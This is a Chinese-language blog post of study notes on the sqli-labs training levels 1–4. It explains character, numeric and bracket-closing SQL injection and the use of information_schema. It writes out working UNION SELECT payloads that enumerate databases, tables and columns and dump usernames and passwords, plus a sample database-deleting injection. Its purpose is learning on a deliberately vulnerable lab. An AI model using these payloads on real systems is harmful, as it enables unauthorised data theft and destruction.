sqli_lab 解题笔记(1)

注入的基本操作(字符型、数字型、优先匹配、强制字符转换), sqli_labs1-4关

1个菜b学sql注入的笔记,大佬绕过

前置知识: 10以内加减法、mysql语法,建议去w3school

俺第一次学的时候感觉进步很慢,很难,然后就咕咕了,后来发现还是要先打好基础,后面会简单一些

由于没学过数据库,0基础fw,所以前面水的比较多,后面就8废话了

另外,信安日记这篇讲得8错,很通俗,阔以对照着看

SQL注入原理,虽然简单,还是再叙述一下, 大致就是你传进1个参,然后服务器会执行php文件的命令,然后你就阔以在传参上做点手脚

比如这个php文件里有这样1个命令:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;(其中$sql就是你传的参)
如果传入/?id=-1’ DELETE database() – ,原语句就变意思了,服务器就会识别成删库语句,然后就…

前置知识

关于database、schema、table等的关系

database是个旅馆,schema是房间,table是床,users有的可以操作schema(eg:房客),有的可以操作database(eg:老鸨)

优先匹配

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
eg:

1
select * from users where user_id = '1''';
1
select * from users where user_id = '1''shit';
1
select * from users where user_id = '1''shit''qnmd';

以上查询结果都一样,等同于只输1个’1’

concat家族

concat()

concat(column1,column2):将column1, column2联合显示

concat_ws:

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符

group_concat():

要知道这个,得知道GROUP BY,见下面

然后回到group_concat(),它就是将GROUP BY产生的分组里的字符~~~拼~~~连接,作为1个字符返回

group by

一般和GROUP_CONCAT混用,用于数据分组

information_schema

很牛逼的数据库,相当于新华字典,里面存着数据库名字等关键信息
m0r3:
information_schema下的表:
schemata:(schema_data缩写)提供所有数据库信息,里面有schema_name

tables:table_name,所有表名; table_schema:所有表所在数据库名称
eg: select group_concat(table_name) from information_schema.tables where table_schema='qnmd'-- (找'qnmd'数据库下的所有表)

columns:提供表中的列信息,其中有个叫colums_name的列,提供所有表里有啥列,还有table_name,常用于限定查哪个表(此处的table_name和tables里的table_name好像还8一样,姑且不研究太深)
eg: select group_concat(column_name) from information_schema.columns where table_name='shit'-- (找'shit'表里的所有列名)

其他的8太需要了解

lesson_1 字符型注入

1、判断类型

?id=1 and 1=2– ,返回正常,所以8是数字型注入
?id=1’ ,加单引号,发现报错,加– 注释,显示正常,说明是单引号注入;

分析字段数(判断该表有几列数据)

为啥要分析呢?因为后面UNION SELECT要用到

1
?id=1' order by 3-- 

回显正常,?id=1’ order by 4– ,回显错误,说明有3列

看看页面有没有显示位

1
?id=-1' union select 1,2,3 -- 

结果:
Welcome Dhakkan
Your Login name:2
Your Password:3

说明有2个显示位(有时,SELECT语句会限制输出的行数(比如SELECT * FROM users WHERE id=’$id’ LIMIT 0,1),这时候就需要让第一行失效)

找出数据库名,表名、列名

将id=1改成数据库8存在的值,这样显示的时候便不占用显示位(原理:因为没有,所以8会显示)

?id=qnmd’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 –
来手逐字解析,比较0基础

GROUP_CONCAT, schema_name, schema_name:见上文
indormation.schemata: 加information_schema是因为schemata在当前数据库没有,而是在information_schema里,要先换到另一个数据库
tips: GROUP_CONCAT此处后面没有GROUP BY,所以是直接将所有的列打包到一块,作为1个字符串,结果显示:emails,referers,uagents,users,若不加GROUP_CONCAT()则只显示emails

lesson_2 数字型注入

众所周知,数字型注入也是个基本注入类型

判断是否是数字型

只需要通过简单的加减法就阔以判断啦!(此处注意,在url码里+是空格,所以要用%2B表示+)

首先输入/?id=1’,显示错误,但是当输入/?id=1’– 时仍然错误,然后注意此处返回的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
而不是:
Unknown column ‘1’’ in ‘where clause’
所以说明这里的’并没有被php里的某些防护函数转义(相关知识见下方)

然后输入/?id=1+1,返回结果和/?id=2一样,就阔以说明是数字型注入了

数字型注入和字符型的区别8大,不需要用’闭合就是了,略

tips, 小提一下php里的一些转义函数

有时候php里的一些函数在传入的参里有’,”,/等字符时,会在其前面自动补’/‘对1其转义,防止sql注入

lesson_3 需要闭合括号的注入

首先构造闭合单引/?id=1’,返回报错: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’) LIMIT 0,1’ at line 1
发现了一个奇怪的’(‘,搜索得知,这是个需要闭合括号的注入, 查看php源码发现它的指令如下:

1
$sql = select * from user where id=('$id');

而我们之前注入的php源码则是这样:

1
$sql = select * from user where id='$id';

所以加个’)’进行闭合就阔以啦!
实操,很ez

1
2
3
4
?id=1') union select 1,database(),user()
?id=-1') union select 1,group_concat(table_name),user() from information_schema.tables where table_schema='security' --
?id=-1') union select 1,group_concat(column_name),user() from information_schema.columns where table_name='users' --
?id=-1') union select 1,group_concat(username),group_concat(password) from users --

数字型注入知识点

数字型和字符型的区别

数字型传入的参数8是包裹在引号里的,传入的参会被转化为数字,比如传入id=1+1,系统会查找id=2的行

其注入方法,除了8需要用’闭合外,和字符型注入差不多

强制类型转换

php里的强制类型转换规则,和c可8大一样

比如输入’shit’,’1shit’,’2shit’,若强制转换为数字, 会分别被转为: 0,1,2

因为’shit’里,第一个字符8是数字,就会转化成0;’1shit’则会转化为1,忽略后面的非数字

在数字型注入想输入字符

2种方法

使用16进制

待填

使用char()函数

待填


sqli_lab 解题笔记(1)
https://bl4zygao.github.io/2021/10/27/sqli-labs-解题笔记-1/
Author
bl4zy
Posted on
October 27, 2021
Licensed under